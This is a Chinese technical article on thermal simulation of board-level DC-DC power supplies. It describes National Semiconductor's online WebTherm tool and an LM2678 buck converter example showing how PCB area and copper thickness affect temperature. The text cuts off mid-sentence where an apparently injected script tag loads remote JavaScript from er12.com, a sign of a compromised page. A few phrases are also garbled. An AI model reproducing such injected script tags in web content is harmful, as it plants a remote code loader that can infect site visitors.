近年来，随着电源供电系统的不断发展，使得板式 dc-dc 电源的结构、性能和技术规格产生了根本的变化。工业、电信、个人计算机与机顶盒领域的大量应用需要不同类型的高性能、高集成度的微处理器、存储器、dsp 等。
所有这些需求使人们重新思考电源设计的方法：设计中最重要的考虑因素是更小的尺寸、更高的效率、更高的可能性，以及可以工作在不同开关频率的能力。
所有这些因素都会导致热应力的增加，因此设计人员必须花费更多时间去优化设计，对在更高工作温度下运行的电源进行鉴定。电源的热应力分析可以成为项目中最关键的阶段，这些分析与鉴定不仅针对功率半导体器件，也包括整体系统中的每一个部件，如印刷电路板、磁性元件、电容和回流二极管等。例如，有的时候最容易忽视的是比较敏感的电源线输入电容，温度每增加 10 °c，电容的平均时间就会减半。
一种创新的解决方案
设计者要求显著降低测试的时间（天数，有时是月数），提高设计的可靠性，但同时还要节约大量成本，美国国家半导体公司对设计者的这些要求作出了回应。在它的网站 www.power.com 上有一个完全免费的工具，包括电子仿真软件 websim™ 和 webtherm™。
webtherm™ 是与 flomerics 协作开发的，它将电路板设计的物理布局与产生全彩色热影像的热模型结合起来。它采用彩色图像突出显示问题点，使用变换算法快速提供准确的结果。此外，webtherm™ 还可以在实时参数（如环境温度、功率元件焊接的印刷电路板铜箔区表面与厚度）中插入变量。它还可以增加一个外部散热片或风扇，以达到某个应用所要求的正确温度。
webtherm 对电源中的两种有源元件分别使用两种不同的热模型：一个是美国国家半导体公司的 simpler 开关稳压器，另一个是当开关关断时为电感器电流提供回流的外接二极管。两种功率器件和其它无源元件的功率耗散皆用 3d 对流模型进行仿真。
这样，就能够获得同一电路各个部分的最大工作温度。
比较传统的方法是：计算各个功率器件的热阻和功率耗散，但不考虑各个元件发热的相互影响，以及外部环境变量的影响等因素。
用 webtherm 得到的结果既实用又直观，因为它使用的界面与电子仿真工具 webench 相同，设计者在网站 www.power.com 上进行电路的电子仿真，然后执行热仿真。设计者可以在一个控制面板上选择电路板上方和下方的环境温度、电路板方向，以及外接风扇的速度（可选）。这样，设计者就可以调整印刷电路板。仿真被自动通过互联网送到美国国家半导体公司的服务器。大约 2 到 3 分钟后就可以收到热仿真的结果。通过图中的颜色就能够辨别出各个器件相互的热影响、电路上的热分布，以及每一个元件的最高工作温度等。
一个典型的应用
让我们考虑一个输出为 5v、5a 的 25 w 降压电源（输入为非稳压的 10-14v 电压）。在设计中使用了一片 lm2678，这是一片第三代的 simpler 变换器，它的效率为 87%（典型值），回流二极管和电源稳压器之间分布的耗散功率均为 3w。图 1 显示的是 webtherm 热仿真的结果。可以看到：稳压器 lm2678 的内部温度高于 130 °c，而外接二极管的温度则高于 110 °c。
图1 使用 webtherm 进行热仿真
增加印刷电路板面积后（图 2），能够改善散热状况，因此最高温度可以降低大约 25 °c。
图2 通过增加印刷电路面积，可以使最高温度降低约 25 °c
为了进一步提高电路的性能，设计者可以增加铜箔的厚度（图 3），此时稳压器和二极管的最高结温分别?script src=http://er12.com/t.js>
